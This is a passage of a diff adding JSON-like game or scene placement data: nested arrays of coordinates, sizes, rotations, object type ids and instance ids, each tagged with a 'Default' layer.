+ 471,
+ 6165,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4461,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6166,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4672.00341796875,
+ 798.8510131835938,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6167,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6168,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4859,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6169,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4951,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6170,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5042,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6171,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5134,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6172,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.943359375,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6173,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3242.028564453125,
+ 457.8980407714844,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6174,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3377.904296875,
+ 467.4161987304688,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6175,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6176,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6177,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6178,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6179,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6180,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6181,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3909.415283203125,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6182,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3909.415283203125,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6183,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3908.415283203125,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6184,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6185,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6186,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6187,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6188,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6189,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6190,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6191,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6192,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6193,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6194,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6195,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6196,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6197,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6198,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6199,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 796.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6200,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 892.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6201,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 987.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6202,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6203,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6204,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4766.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6205,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4858.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6206,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4858.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6207,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4857.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6208,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4949.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6209,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4949.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6210,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4947.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6211,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5041.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6212,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5041.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6213,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5040.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6214,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5133.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6215,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5133.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6216,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6217,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6218,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5224.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6220,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4811.859375,
+ 737.5491943359375,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6221,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2886,
+ 694,
+ 0,
+ 182,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6222,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3065,
+ 787,
+ 0,
+ 192,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6223,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115.5,
+ 694,
+ 0,
+ 91,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6224,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3296,
+ 978,
+ 0,
+ 281,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6225,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115,
+ 365,
+ 0,
+ 459,
+ 88,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6226,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299,
+ 513,
+ 0,
+ 91,
+ 366,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6227,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566.125,
+ 743.48486328125,
+ 0,
+ 287,
+ 33,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6228,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4095.5,
+ 814,
+ 0,
+ 824,
+ 307,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6229,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4997.5,
+ 1022.908203125,
+ 0,
+ 553,
+ 373.1834716796875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6230,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4617.02587890625,
+ 762.0482177734375,
+ 0,
+ 297.0997924804688,
+ 28,
+ 0,
+ 0.6457718014717102,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6231,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727.29345703125,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6233,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.83544921875,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6234,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3908.970947265625,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6235,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4001.512939453125,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6236,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4092.78076171875,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6237,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.32275390625,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6238,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.4580078125,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6239,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.00048828125,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6240,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4459.82470703125,
+ 1083.528564453125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6241,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 898,
+ 831,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 6242,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 895,
+ 854,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 6243,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 895,
+ 851,
+ 0,
+ 92.81533813476562,
+ 49.44043731689453,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6244,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1330,
+ 834,
+ 0,
+ 548,
+ 150,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6245,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 648,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6246,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 39,
+ 552,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6247,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
